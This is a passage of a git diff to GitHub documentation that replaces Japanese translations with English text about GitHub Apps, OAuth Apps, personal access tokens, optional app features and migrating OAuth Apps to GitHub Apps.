variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user. -{% data variables.product.prodname_github_apps %} は、Organization やユーザアカウントに直接インストールでき、特定のリポジトリへのアクセス権を付与できます。 精細なアクセス権限が付いており、webhook が組み込まれています。 {% data variables.product.prodname_github_app %} をセットアップする際、アクセスさせるリポジトリを選択できます。 たとえば、`octocat` リポジトリ _のみ_ に IssueIssue を書き込む、`MyGitHub` というアプリケーションをセットアップできます。 {% data variables.product.prodname_github_app %} をインストールするには、Organization のオーナーであるか、リポジトリで管理者権限を持っている必要があります。 +{% data variables.product.prodname_github_apps %} can be installed directly on organizations and user accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository. {% data reusables.apps.app_manager_role %} -{% data variables.product.prodname_github_apps %} は、どこかにホストする必要があるアプリケーションです。 サーバーとホスティングに関するステップバイステップガイドについては、[はじめての {% data variables.product.prodname_github_app %} 構築](/apps/building-your-first-github-app)」を参照してください。 +{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -ワークフローを改善するため、複数のスクリプトまたはアプリケーション全体を含む {% data variables.product.prodname_github_app %} を作成し、それをその他の数多くのツールと接続できます。 たとえば、{% data variables.product.prodname_github_apps %} を GitHub、Slack、その他の社内アプリケーション、電子メールプログラム、その他の API などに接続できます。 +To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs. -{% data variables.product.prodname_github_apps %} を作成する際は、以下に気を付けてください。 +Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-github-apps-allowed %} {% endif %} -* {% data variables.product.prodname_github_app %} は、ユーザと独立したアクションを実行する必要があります (アプリケーションが [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) トークンを使用する場合を除きます)。 {% data reusables.apps.expiring_user_authorization_tokens %} +* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %} -* {% data variables.product.prodname_github_app %} は、必ず特定のリポジトリと統合するようにしてください。 -* {% data variables.product.prodname_github_app %} は個人アカウントまたは Organization に接続する必要があります。 -* ユーザができる全てのことを {% data variables.product.prodname_github_app %} が知り、行えるとは思わないでください。 -* 単に「GitHub でログイン」するサービスが必要な場合は、{% data variables.product.prodname_github_app %} を使用しないでください。 [ユーザ識別フロー](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)でユーザをログインさせ、_かつ_他のことを行う場合は、{% data variables.product.prodname_github_app %} を使用できます。 -* GitHub ユーザとして振る舞い、ユーザが実行できることを全て実行したい_だけ_の場合は、{% data variables.product.prodname_github_app %} を構築しないでください。{% ifversion fpt or ghec %} +* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories. +* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization. +* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can. +* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things. +* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %} * {% data reusables.apps.general-apps-restrictions %}{% endif %} -{% data variables.product.prodname_github_apps %} アプリケーションの開発を始めるには、「[{% data variables.product.prodname_github_app %} を作成する](/apps/building-github-apps/creating-a-github-app/)」から取りかかってください。{% ifversion fpt or ghec %}構成済みの {% data variables.product.prodname_github_apps %} を作成できる {% data variables.product.prodname_github_app %} マニフェストの使い方については、「[マニフェストから {% data variables.product.prodname_github_apps %} を作成する](/apps/building-github-apps/creating-github-apps-from-a-manifest/)」を参照してください。{% endif %} +To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %} -## {% data variables.product.prodname_oauth_apps %}について +## About {% data variables.product.prodname_oauth_apps %} -OAuth2 は、外部アプリケーションがパスワードにアクセスすることなく、ユーザの {% data variables.product.prodname_dotcom %} アカウントの個人情報にアクセスする承認を要求できるようにするプロトコルです。 これは Basic 認証よりも好ましい方法です。なぜなら、トークンは特定の種類のデータに限定でき、ユーザがいつでも取り消すことができるからです。 +OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time. {% data reusables.apps.deletes_ssh_keys %} -{% data variables.product.prodname_oauth_app %} は、アプリケーションにアクセス権を付与するユーザを認証するため、アイデンティティプロバイダとして {% data variables.product.prodname_dotcom %} を使用します。 つまり、ユーザが {% data variables.product.prodname_oauth_app %} にアクセス権を付与すると、アカウントでアクセスできる _すべての_ リポジトリ、およびサードパーティのアクセスをブロックしていないあらゆる Organization に対してアクセスを許可することになります。 +An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access. -単純なスクリプトで処理できるよりも複雑なプロセスを作成する場合、{% data variables.product.prodname_oauth_app %} を構築するのは良い選択肢です。 {% data variables.product.prodname_oauth_apps %} は、どこかにホストする必要があるアプリケーションであることに注意してください。 +Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere. -{% data variables.product.prodname_oauth_apps %} を作成する際は、以下に気を付けてください。 +Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}: {% ifversion fpt or ghec %} * {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %} -* {% data variables.product.prodname_oauth_app %} は、{% data variables.product.prodname_dotcom %} 全体にわたって、常に認証された {% data variables.product.prodname_dotcom %} ユーザとして振る舞う必要があります (たとえば、ユーザ通知を行う場合など)。 -* 認証されたユーザに対して「{% data variables.product.prodname_dotcom %} でログイン」を有効化することにより、{% data variables.product.prodname_oauth_app %} をアイデンティティプロバイダとして使用できます。 -* 単一のリポジトリで動作するアプリケーションが必要な場合、{% data variables.product.prodname_oauth_app %} を構築しないでください。 `repo` OAuth スコープを使用すると、{% data variables.product.prodname_oauth_apps %} は認証されたユーザの_全ての_リポジトリで動作します。 -* Team や企業を代理するアプリケーションとして {% data variables.product.prodname_oauth_app %} を構築しないでください。 {% data variables.product.prodname_oauth_apps %} は単一のユーザとして認証を行うので、ある人が {% data variables.product.prodname_oauth_app %} を会社が使用するものとして作成し、その人が会社を辞めた場合は、他の人がアクセスできなくなります。{% ifversion fpt or ghec %} +* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications). +* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user. +* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories. +* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %} * {% data reusables.apps.oauth-apps-restrictions %}{% endif %} -{% data variables.product.prodname_oauth_apps %} の詳細については、「[{% data variables.product.prodname_oauth_app %} を作成する](/apps/building-oauth-apps/creating-an-oauth-app/)」および「[アプリケーションを登録する](/rest/guides/basics-of-authentication#registering-your-app)」を参照してください。 +For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)." -## 個人アクセストークン +## Personal access tokens -[個人アクセストークン](/articles/creating-a-personal-access-token-for-the-command-line/)は、権限を[スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)で特定できる点において、[OAuth トークン](/apps/building-oauth-apps/authorizing-oauth-apps/)と機能が似ている文字列です。 また、個人アクセストークンはパスワードとも似ています。ただし、個人アクセストークンは複数所有でき、それぞれのアクセス権をいつでも取り消すことができます。 +A [personal access token](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A personal access token is also similar to a password, but you can have many of them and you can revoke access to each one at any time. -たとえば、個人アクセストークンにリポジトリへの書き込みをできるように設定できます。 そして、リポジトリで[Issue を作成する](/rest/reference/issues#create-an-issue) cURL コマンドを実行するかスクリプトを記述する場合、個人アクセストークンを渡して認証します。 個人アクセストークンを環境変数として保存することで、使用のたびに入力することを避けることができます。 +As an example, you can enable a personal access token to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the personal access token to authenticate. You can store the personal access token as an environment variable to avoid typing it every time you use it. -個人アクセストークンを使用する際は、以下に気を付けてください。 +Keep these ideas in mind when using personal access tokens: -* トークンは自分自身のみを表すものとして使用してください。 -* 1 回限りの cURL リクエストを実行できます。 -* 個人用のスクリプトを実行できます。 -* Team や会社全体が使用するスクリプトは設定しないでください。 -* ボットユーザとして振る舞う共有ユーザアカウントは設定しないでください。{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %} -* 個人情報を安全に保つため、個人アクセストークンには有効期限を設定してください。{% endif %} +* Remember to use this token to represent yourself only. +* You can perform one-off cURL requests. +* You can run personal scripts. +* Don't set up a script for your whole team or company to use. +* Don't set up a shared user account to act as a bot user.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %} +* Do set an expiration for your personal access tokens, to help keep your information secure.{% endif %} -## 構築すべきインテグレーションを決定する +## Determining which integration to build -インテグレーションの作成に取りかかる前に、{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API を使用したアクセス、認証、対話に最善の方法を見極める必要があります。 以下の画像にある質問に答えていくと、個人アクセストークン、{% data variables.product.prodname_github_apps %}、{% data variables.product.prodname_oauth_apps %} のどれをインテグレーションとして使用するかを決めることができます。 +Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use personal access tokens, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration. -![アプリケーションの質問フローの紹介](/assets/images/intro-to-apps-flow.png) +![Intro to apps question flow](/assets/images/intro-to-apps-flow.png) -インテグレーションがどう振る舞うべきか、何にアクセスできるべきかについては、以下の質問を検討してください。 +Consider these questions about how your integration needs to behave and what it needs to access: -* インテグレーションは自分自身としてのみ振る舞うのか、それともアプリケーションのように振る舞うのか? -* 独自のエンティティとして、自分から独立して動作させるのか? -* 自分がアクセスできるもの全てにアクセスするのか、それともアクセスを制限するのか? -* 単純か、それとも複雑か? たとえば、個人アクセストークンは単純なスクリプトや cURL に適し、{% data variables.product.prodname_oauth_app %} はより複雑なスクリプトを処理できます。 +* Will my integration act only as me, or will it act more like an application? +* Do I want it to act independently of me as its own entity? +* Will it access everything that I can access, or do I want to limit its access? +* Is it simple or complex? For example, personal access tokens are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting. -## サポートのリクエスト +## Requesting support {% data reusables.support.help_resources %} diff --git a/translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md b/translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md index 15b48e2554..41045d3bb6 100644 --- a/translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md +++ b/translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md @@ -1,6 +1,6 @@ --- -title: アプリケーションのオプション機能を有効化する -intro: 'リリースされた新しいアプリケーションの機能を、{% data variables.product.prodname_github_apps %} および {% data variables.product.prodname_oauth_apps %} でテストできます。' +title: Activating optional features for apps +intro: 'You can test new optional features for your {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}.' redirect_from: - /developers/apps/activating-beta-features-for-apps - /developers/apps/activating-optional-features-for-apps @@ -11,23 +11,22 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: オプション機能の有効化 +shortTitle: Activate optional features --- - {% warning %} -**警告:** {% ifversion ghes < 3.1 %}ベータ版{% else %}オプション{% endif %}機能は変更される場合があります。 +**Warning:** {% ifversion ghes < 3.1 %} Beta {% else %} Optional {% endif %} features are subject to change. {% endwarning %} -## {% data variables.product.prodname_github_apps %} の{% ifversion ghes < 3.1 %}ベータ版{% else %}オプション{% endif %}機能を有効化する +## Activating {% ifversion ghes < 3.1 %} beta {% else %} optional {% endif %} features for {% data variables.product.prodname_github_apps %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} -3. {% ifversion ghes < 3.1 %}ベータ版{% else %}オプション{% endif %}機能を有効化する {% data variables.product.prodname_github_app %} を選択します。 +3. Select the {% data variables.product.prodname_github_app %} you want to enable {% ifversion ghes < 3.1 %} a beta {% else %} an optional {% endif %} feature for. {% data reusables.apps.optional_feature_activation %} -## {% data variables.product.prodname_oauth_apps %} の{% ifversion ghes < 3.1 %}ベータ版{% else %}オプション{% endif %}機能を有効化する +## Activating {% ifversion ghes < 3.1 %} beta {% else %} optional {% endif %} features for {% data variables.product.prodname_oauth_apps %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} diff --git a/translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md index 266340e703..81c514324b 100644 --- a/translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md +++ b/translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md @@ -1,6 +1,6 @@ --- -title: OAuth AppからGitHub Appへの移行 -intro: '{% data variables.product.prodname_oauth_app %}を{% data variables.product.prodname_github_app %}へ移行することの利点と、{% data variables.product.prodname_marketplace %}にリストされていない{% data variables.product.prodname_oauth_app %}の移行方法について学んでください。' +title: Migrating OAuth Apps to GitHub Apps +intro: 'Learn about the advantages of migrating your {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %} and how to migrate an {% data variables.product.prodname_oauth_app %} that isn''t listed on {% data variables.product.prodname_marketplace %}. ' redirect_from: - /apps/migrating-oauth-apps-to-github-apps - /developers/apps/migrating-oauth-apps-to-github-apps @@ -11,100 +11,99 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: OAuth Appからの移行 +shortTitle: Migrate from OAuth Apps --- +This article provides guidelines for existing integrators who are considering migrating from an OAuth App to a GitHub App. -この記事は、OAuth AppをGitHub Appに移行することを検討している既存のインテグレーターにガイドラインを提供します。 +## Reasons for switching to GitHub Apps -## GitHub Appに切り替える理由 +[GitHub Apps](/apps/) are the officially recommended way to integrate with GitHub because they offer many advantages over a pure OAuth-based integration: -[GitHub App](/apps/)は、GitHubとの統合のための公式に推奨されている方法です。これは、純粋なOAuthベースのインテグレーションと比べて多くの利点を提供するためです。 +- [Fine-grained permissions](/apps/differences-between-apps/#requesting-permission-levels-for-resources) target the specific information a GitHub App can access, allowing the app to be more widely used by people and organizations with security policies than OAuth Apps, which cannot be limited by permissions. +- [Short-lived tokens](/apps/differences-between-apps/#token-based-identification) provide a more secure authentication method over OAuth tokens. An OAuth token does not expire until the person who authorized the OAuth App revokes the token. GitHub Apps use tokens that expire quickly, creating a much smaller window of time for compromised tokens to be in use. +- [Built-in, centralized webhooks](/apps/differences-between-apps/#webhooks) receive events for all repositories and organizations the app can access. Conversely, OAuth Apps require configuring a webhook for each repository and organization accessible to the user. +- [Bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts) don't consume a {% data variables.product.product_name %} seat and remain installed even when the person who initially installed the app leaves the organization. +- Built-in support for OAuth is still available to GitHub Apps using [user-to-server endpoints](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). +- Dedicated [API rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) for bot accounts scale with your integration. +- Repository owners can [install GitHub Apps](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) on organization repositories. If a GitHub App's configuration has permissions that request an organization's resources, the org owner must approve the installation. +- Open Source community support is available through [Octokit libraries](/rest/overview/libraries) and other frameworks such as [Probot](https://probot.github.io/). +- Integrators building GitHub Apps have opportunities to adopt earlier access to APIs. -- GitHub Appがアクセスできる特定の情報をターゲットにする[詳細な権限](/apps/differences-between-apps/#requesting-permission-levels-for-resources)。権限で制限できないOAuth App以上のセキュリティポリシーの下で、より広範囲なユーザやOrganizationにアプリケーションを利用してもらうことができる。 -- [短時間有効なトークン](/apps/differences-between-apps/#token-based-identification)によって、OAuthトークンよりもセキュアな認証方式を提供できる。 OAuthトークンは、OAuth Appを認可したユーザがトークンを取り消すまで、期限切れにならない。 GitHub Appsは素早く期限切れになるトークンを使用し、侵害されたトークンが利用される時間枠を小さくできる。 -- [ビルトインの集中型webhook](/apps/differences-between-apps/#webhooks)は、アプリケーションがアクセスできるすべてのリポジトリとOrganizationに対するイベントを受信する。 逆に、OAuth AppはユーザがアクセスできるそれぞれのリポジトリとOrganizationに対してwebhookを設定する必要がある。 -- [ボットアカウント](/apps/differences-between-apps/#machine-vs-bot-accounts)は{% data variables.product.product_name %}のシートを消費せず、最初にアプリケーションをインストールしたユーザがOrganizationを離れてもインストールされたままにしておける。 -- OAuthのビルトインサポートは、[ユーザからサーバーへのエンドポイント](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)を使って、GitHub Appでも利用できる。 -- ボットアカウント専用の[APIレート制限](/apps/building-github-apps/understanding-rate-limits-for-github-apps/)は、インテグレーションとともにスケールする。 -- リポジトリの所有者は、Organizationのリポジトリに[GitHub Appをインストール](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps)できる。 GitHub Appの設定にOrganizationのリソースをリクエストする権限があれば、Organizaitionのオーナーはそのインストールを承認しなければならない。 -- [ Octokitライブラリ](/rest/overview/libraries)や、[Robot](https://probot.github.io/)のような他のフレームワークを通じてオープンソースコミュニティのサポートがある。 -- GitHub Appを構築するインテグレーターは、APIへの早期アクセスを採用する機会がある。 +## Converting an OAuth App to a GitHub App -## OAuth AppからGitHub Appへの変換 +These guidelines assume that you have a registered OAuth App{% ifversion fpt or ghec %} that may or may not be listed in GitHub Marketplace{% endif %}. At a high level, you'll need to follow these steps: -以下のガイドラインは、{% ifversion fpt or ghec %}GitHub Marketplaceにリストされている、あるいはされていない{% endif %}登録済みのOAuth Appがあることを前提としています。 高いレベルでは、以下のステップに従う必要があります。 +1. [Review the available API endpoints for GitHub Apps](#review-the-available-api-endpoints-for-github-apps) +1. [Design to stay within API rate limits](#design-to-stay-within-api-rate-limits) +1. [Register a new GitHub App](#register-a-new-github-app) +1. [Determine the permissions your app requires](#determine-the-permissions-your-app-requires) +1. [Subscribe to webhooks](#subscribe-to-webhooks) +1. [Understand the different methods of authentication](#understand-the-different-methods-of-authentication) +1. [Direct users to install your GitHub App on repositories](#direct-users-to-install-your-github-app-on-repositories) +1. [Remove any unnecessary repository hooks](#remove-any-unnecessary-repository-hooks) +1. [Encourage users to revoke access to your OAuth App](#encourage-users-to-revoke-access-to-your-oauth-app) +1. [Delete the OAuth App](#delete-the-oauth-app) -1. [GitHub Appで利用できるAPIエンドポイントのレビュー](#review-the-available-api-endpoints-for-github-apps) -1. [APIレート制限内に留まるための設計](#design-to-stay-within-api-rate-limits) -1. [新しいGitHub Appの登録](#register-a-new-github-app) -1. [アプリケーションが必要とする権限の決定](#determine-the-permissions-your-app-requires) -1. [webhookのサブスクライブ](#subscribe-to-webhooks) -1. [様々な認証方法の理解](#understand-the-different-methods-of-authentication) -1. [リポジトリにGitHub Appをインストールするようにユーザに指示](#direct-users-to-install-your-github-app-on-repositories) -1. [不必要なリポジトリフックの削除](#remove-any-unnecessary-repository-hooks) -1. [OAuth Appへのアクセスの取り消しをユーザに促す](#encourage-users-to-revoke-access-to-your-oauth-app) -1. [OAuth Appの削除](#delete-the-oauth-app) +### Review the available API endpoints for GitHub Apps -### GitHub Appで利用できるAPIエンドポイントのレビュー +While the majority of [REST API](/rest) endpoints and [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) queries are available to GitHub Apps today, we are still in the process of enabling some endpoints. Review the [available REST endpoints](/rest/overview/endpoints-available-for-github-apps) to ensure that the endpoints you need are compatible with GitHub Apps. Note that some of the API endpoints enabled for GitHub Apps allow the app to act on behalf of the user. See "[User-to-server requests](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)" for a list of endpoints that allow a GitHub App to authenticate as a user. -[REST API](/rest)エンドポイントと[GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql)クエリの大部分は、今日GitHub Appから利用できますが、まだいくつかのエンドポイントは有効にする過程にあります。 [利用可能なRESTエンドポイント](/rest/overview/endpoints-available-for-github-apps)をレビューして、必要なエンドポイントがGitHub Appと互換性があることを確認してください。 GitHub Appで利用できるAPIエンドポイントの中には、ユーザの代わりにアプリケーションが動作できるようにするものがあることに注意してください。 GitHub Appがユーザとして認証されるようにするエンドポイントのリストについては、「[ユーザからサーバーへのリクエスト](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)」を参照してください。 +We recommend reviewing the list of API endpoints you need as early as possible. Please let Support know if there is an endpoint you require that is not yet enabled for {% data variables.product.prodname_github_apps %}. -必要なAPIエンドポイントのリストのレビューは、できるだけ早く行うことをおすすめします。 まだ{% data variables.product.prodname_github_apps %}から利用できないエンドポイントで必要なものがある場合は、サポートにお知らせください。 +### Design to stay within API rate limits -### APIレート制限内に留まるための設計 +GitHub Apps use [sliding rules for rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/), which can increase based on the number of repositories and users in the organization. A GitHub App can also make use of [conditional requests](/rest/overview/resources-in-the-rest-api#conditional-requests) or consolidate requests by using the [GraphQL API V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql). -GitHub Appは[レート制限に対するスライディングルール](/apps/building-github-apps/understanding-rate-limits-for-github-apps/)を利用します。これは、Organization中のリポジトリ及びユーザ数に基づいて増加できます。 また、GitHub Appは[GraphQL V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql)を利用することで、[条件リクエスト](/rest/overview/resources-in-the-rest-api#conditional-requests)あるいは統合リクエストを利用することもできます。 +### Register a new GitHub App -### 新しいGitHub Appの登録 +Once you've decided to make the switch to GitHub Apps, you'll need to [create a new GitHub App](/apps/building-github-apps/). -GitHub Appへ切り替えすることを決めたら、[新しいGitHub Appを作成](/apps/building-github-apps/)しなければなりません。 +### Determine the permissions your app requires -### アプリケーションが必要とする権限の決定 +When registering your GitHub App, you'll need to select the permissions required by each endpoint used in your app's code. See "[GitHub App permissions](/rest/reference/permissions-required-for-github-apps)" for a list of the permissions needed for each endpoint available to GitHub Apps. -GitHub Appを登録する際には、アプリケーションのコードが使用する各エンドポイントが必要とする権限を選択しなければなりません。 GitHub Appで利用できる各エンドポイントが必要とする権限のリストについては「[GitHub Appの権限](/rest/reference/permissions-required-for-github-apps)」を参照してください。 +In your GitHub App's settings, you can specify whether your app needs `No Access`, `Read-only`, or `Read & Write` access for each permission type. The fine-grained permissions allow your app to gain targeted access to the subset of data you need. We recommend specifying the smallest set of permissions possible that provides the desired functionality. -GitHub Appの設定で、アプリケーションがそれぞれの権限の種類について`No Access`、`Read-only`、`Read & Write`アクセスを必要とするかを指定できます。 詳細な権限を使用することで、アプリケーションは必要なデータのサブセットにターゲットを絞ってアクセスできるようになります。 必要な機能を提供する、可能な限り最小の権限セットを指定することをおすすめします。 +### Subscribe to webhooks -### webhookのサブスクライブ +After you've created a new GitHub App and selected its permissions, you can select the webhook events you wish to subscribe it to. See "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" to learn how to subscribe to webhooks. -新しいGitHub Appを作成し、その権限を選択したら、サブスクライブさせたいwebhookイベントを選択できます。 webhookをサブスクライブする方法を学ぶには、「[GitHub Appの権限を編集する](/apps/managing-github-apps/editing-a-github-app-s-permissions/)」を参照してください。 +### Understand the different methods of authentication -### 様々な認証方法の理解 +GitHub Apps primarily use a token-based authentication that expires after a short amount of time, providing more security than an OAuth token that does not expire. It’s important to understand the different methods of authentication available to you and when you need to use them: -GitHub Appは、短時間で期限切れとなるトークンベースの認証を主に利用し、期限切れにならないOAuthトークンよりも高いセキュリティを提供します。 利用可能な様々な認証方法と、それらをいつ使う必要があるかを理解しておくことが重要です。 +* A **JSON Web Token (JWT)** [authenticates as the GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). For example, you can authenticate with a **JWT** to fetch application installation details or exchange the **JWT** for an **installation access token**. +* An **installation access token** [authenticates as a specific installation of your GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (also called server-to-server requests). For example, you can authenticate with an **installation access token** to open an issue or provide feedback on a pull request. +* An **OAuth access token** can [authenticate as a user of your GitHub App](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (also called user-to-server requests). For example, you can use an OAuth access token to authenticate as a user when a GitHub App needs to verify a user’s identity or act on a user’s behalf. -* **JSON Web Token (JWT)**は[GitHub Appとして認証](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)されます。 たとえば、**JWT**で認証を受けてアプリケーションのインストールの詳細をフェッチしたり、**JWT**を**インストールアクセストークン**と交換したりできます。 -* **インストールアクセストークン**は、[GitHub Appの特待のインストールとして認証](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)されます（これはサーバーからサーバーへのリクエストとも呼ばれます）。 たとえば、**インストールアクセストークン**で認証を受けて、Issueをオープンしたり、Pull Requestにフィードバックを提供したりできます。 -* **OAuthアクセストークン** は[GitHub Appのユーザとして認証](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site)を受けることができます（ユーザからサーバーへのリクエストとも呼ばれます）。 たとえば、GitHub Appがユーザのアイデンティティを検証したり、ユーザの代わりに振る舞わなければならない場合に、OAuthアクセストークンを使ってユーザとして認証を受けることができます。 +The most common scenario is to authenticate as a specific installation using an **installation access token**. -最も一般的なシナリオは、**インストールアクセストークン**を使って特定のインストールとして認証を受けることです。 +### Direct users to install your GitHub App on repositories -### リポジトリにGitHub Appをインストールするようにユーザに指示 +Once you've made the transition from an OAuth App to a GitHub App, you will need to let users know that the GitHub App is available to install. For example, you can include an installation link for the GitHub App in a call-to-action banner inside your application. To ease the transition, you can use query parameters to identify the user or organization account that is going through the installation flow for your GitHub App and pre-select any repositories your OAuth App had access to. This allows users to easily install your GitHub App on repositories you already have access to. -OAuth AppからGitHub Appへの移行をしたら、GitHub Appがインストールできるようになったことをユーザに知らせなければなりません。 たとえば、アプリケーション中の行動喚起のバナーに、GitHub Appのインストールリンクを含めることができます。 移行を容易にするために、GitHub Appのインストールフローを通じて存在する、ユーザもしくはOrganizationアカウントを特定するクエリパラメータを使い、OAuth Appがアクセスできた任意のリポジトリを事前選択しておけます。 こうすることで、ユーザはすでにアクセスできるリポジトリにGitHub Appを容易にインストールできるようになります。 +#### Query parameters -#### クエリパラメータ +| Name | Description | +|------|-------------| +| `suggested_target_id` | **Required**: ID of the user or organization that is installing your GitHub App. | +| `repository_ids[]` | Array of repository IDs. If omitted, we select all repositories. The maximum number of repositories that can be pre-selected is 100. | -| 名前 | 説明 | -| --------------------- | -------------------------------------------------------------- | -| `suggested_target_id` | **必須**: GitHub AppをインストールしようとしているユーザもしくはOrganizationのID。 | -| `repository_ids[]` | リポジトリIDの配列。 省略された場合、すべてのリポジトリが選択されます。 事前選択できるリポジトリ数は、最大で100です。 | - -#### URLの例 +#### Example URL ``` https://github.com/apps/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID ``` -`YOUR_APP_NAME`をGitHub 